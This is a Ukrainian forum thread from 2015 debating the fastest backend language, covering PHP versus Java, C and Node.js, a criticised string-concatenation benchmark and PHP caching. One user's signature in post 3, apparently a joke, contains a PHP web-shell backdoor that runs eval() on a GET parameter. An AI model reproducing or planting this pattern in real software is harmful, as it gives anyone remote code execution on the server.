1

Тема: Найшвидша backend мова

Звідси

Ну а фейсбуку пхп обходиться дуже дорого, ну то фейсбук, в нього є на це гроші.

Чим php не підходить Facebook? Продуктивністю? Чи щось інше?
Тоді яка backend мова є найкращою, в плані швидкодії?

Навчаюсь вчитись, щоб навчатись.

2

Re: Найшвидша backend мова

...не можу не зауважити, що аби помітити некльовість швидкодії php потрібно мати тааакий трафік, що і у вас на це будуть гроші

3

Re: Найшвидша backend мова

C? D? Go?

<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!

4

Re: Найшвидша backend мова

В принципі, можна веб-бекенд і на асмі замутити, але тоді швидкодія програми компенсуватиметься повільністю розробки й труднощами відлагодження.

py -3 -m pip install git+https://github.com/snoack/python-goto

5 Востаннє редагувалося Q-bart (15.07.2015 11:24:32)

Re: Найшвидша backend мова

тобто, php зараз найшвидший(серед серверних мов)?

Навчаюсь вчитись, щоб навчатись.

6

Re: Найшвидша backend мова

Q-bart написав:

тобто, php зараз найшвидший(серед серверних мов)?

Дайте визначення серверних мов спочатку. Якщо в список серверних мов входить яка-небудь джава, то ні.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

7

Re: Найшвидша backend мова

Ну список десь такий:

  • Java (and other JVM languages like Scala, Groovy, Clojure)

  • PHP

  • .NET (C#, VB)

  • Ruby

  • Python

  • Perl

  • Javascript  (Node JS)

  • Actionscript (Flash Media Server)

  • CoffeeScript

  • C (CGI)

  • Erlang

Навчаюсь вчитись, щоб навчатись.

8

Re: Найшвидша backend мова

Джава з компанією, дотнет і С явно швидші, JS можливо теж.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ
Подякували: Q-bart1

9

Re: Найшвидша backend мова

Сішка найшвидча. В плані розробки, то пишіть на php, а потім всі критичні точки просто перепишите на сішці і підключите як бібліотеки в php. Але зазвичай проблемним є не сам бекенд, а комунікація з базою даних і виборки в таблицях з міліардом рядків.

10

Re: Найшвидша backend мова

І вобще не треба джаву пхати в  компанію до сішки.
http://raid6.com.au/~onlyjob/posts/arena/ - отут наприклад пишуть, що джава програє php на порядок.

11 Востаннє редагувалося quez (15.07.2015 17:24:27)

Re: Найшвидша backend мова

Vo_Vik написав:

І вобще не треба джаву пхати в  компанію до сішки.
http://raid6.com.au/~onlyjob/posts/arena/ - отут наприклад пишуть, що джава програє php на порядок.

Test code grows text string by adding another string in cycle until it grows up to 4 mb.

Настільки невдало обраний бенчмарк, що мені здається, що автор просто вирішив утопити Джаву. Там нижче наведений код; будь-хто, хто хоч трохи знає Джаву, скаже, що він дебільний. Рядки в Джаві незмінні, тому коли ви застосовуєте оператор += до рядка, створюється новий екземпляр класу String, в нього копіюється перший рядок, а потім другий. При цьому і перший, і другий рядок продовжують лежати в пам'яті, поки збирач сміття не змилостивиться і не приб'є їх. Для конкатенації рядків в Джаві використовують штуковини типу StringBuilder, які представляють собою щось типу мутабельних рядків.

Любителям яскравих аналогій пропоную прочитати про алгоритм маляра Шлемієля, це саме той випадок.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

12 Востаннє редагувалося Vo_Vik (15.07.2015 17:51:49)

Re: Найшвидша backend мова

http://blog.codinghorror.com/the-real-c … lo-world/- добре, ось хело ворд.
Нє, ну реально, як може віртуальна машина бути швидша за демона?

Це якщо говорити про моно процес.
Якщо говорити про мультіпоточність, тоді є нюанси.

13

Re: Найшвидша backend мова

Тролите, бачу, але погодую.

Це не бенчмарк хелловорлда, а бенчмарк швидкості запуску програм або інтерпретаторів і програм. А це дві великі різниці. Проте цей тест чітко показує, що не потрібно використовувати, коли програма має запуститись, відпрацювати і померти.

Думаю, джава догнала б тут принаймні рубі і пхп на довгій дистанції.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

14

Re: Найшвидша backend мова

...яка для веб-додатків, нажаль, не є типовою моделлю застосування, тому (без доповнень "на довгій дистанції" і тому подібного) в реальних умовах - Java... окей, скажімо політкоректно - не смалить.

15

Re: Найшвидша backend мова

Lordie написав:

...яка для веб-додатків, нажаль, не є типовою моделлю застосування, тому (без доповнень "на довгій дистанції" і тому подібного) в реальних умовах - Java... окей, скажімо політкоректно - не смалить.

Веб-додатки - це ще не всі клієнт-серверні технології.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

16

Re: Найшвидша backend мова

Q-bart написав:

Ну список десь такий:

  • Java (and other JVM languages like Scala, Groovy, Clojure)

  • PHP

  • .NET (C#, VB)

  • Ruby

  • Python

  • Perl

  • Javascript  (Node JS)

  • Actionscript (Flash Media Server)

  • CoffeeScript

  • C (CGI)

  • Erlang

Я не у всіх мовах сильний, але здається розмова про серверну мову, мова на стороні серверу, а от ось тут ... Javascript  (Node JS) ... чесно думав що це клієнтська мова скрипт що виконується в браузері   *SCRATCH*

Збираю знання і... роздаю знання :)

17 Востаннє редагувалося Q-bart (15.07.2015 19:03:34)

Re: Найшвидша backend мова

Анатолій написав:
Q-bart написав:

Ну список десь такий:

  • Java (and other JVM languages like Scala, Groovy, Clojure)

  • PHP

  • .NET (C#, VB)

  • Ruby

  • Python

  • Perl

  • Javascript  (Node JS)

  • Actionscript (Flash Media Server)

  • CoffeeScript

  • C (CGI)

  • Erlang

Я не у всіх мовах сильний, але здається розмова про серверну мову, мова на стороні серверу, а от ось тут ... Javascript  (Node JS) ... чесно думав що це клієнтська мова скрипт що виконується в браузері   *SCRATCH*

Ну я теж спершу подумав, до чого тут JavaScript? Але потім зрозумів що тут мається ну увазі лише окремий фреймворк(node.js )Вікі каже що він для сервера - https://uk.wikipedia.org/wiki/Node.js

PS. Список брав звідси http://www.quora.com/Which-programming- … e-back-end

Навчаюсь вчитись, щоб навчатись.

18

Re: Найшвидша backend мова

Анатолій, всі ці мови - мови загального застосування. Тому при достатньому рівні збочення на JS можна писати десктопні програми або, використовуючи Node.js, серверну частину.

МАКЕ ЦКЯАІИЕ БЯЕАТ АБАІИ

19

Re: Найшвидша backend мова

ну раз вони в браузерах виконуються, то можна обрізати в браузері все і лишити тільки підтримку js. І запускати це як потік на сервері через той же апач чи нджінг. Буде серверна мова)

Про переваги джави. Її перевага в швидкості про яку зазвичай говорять в тому, що вона компілюється і зкомпільована частина тримається в пам’яті, тобто нема звернення до диску при кожному запиті.
Якщо говорити про php, то того ж самого результату можна досягти за допомогою APC, який прокешує всі файли і буде їх тримати в п’амяті. І тоді швидкість буде залежати тільки від швидкості інтерпритатора php і складності коду який видає компілятор джави.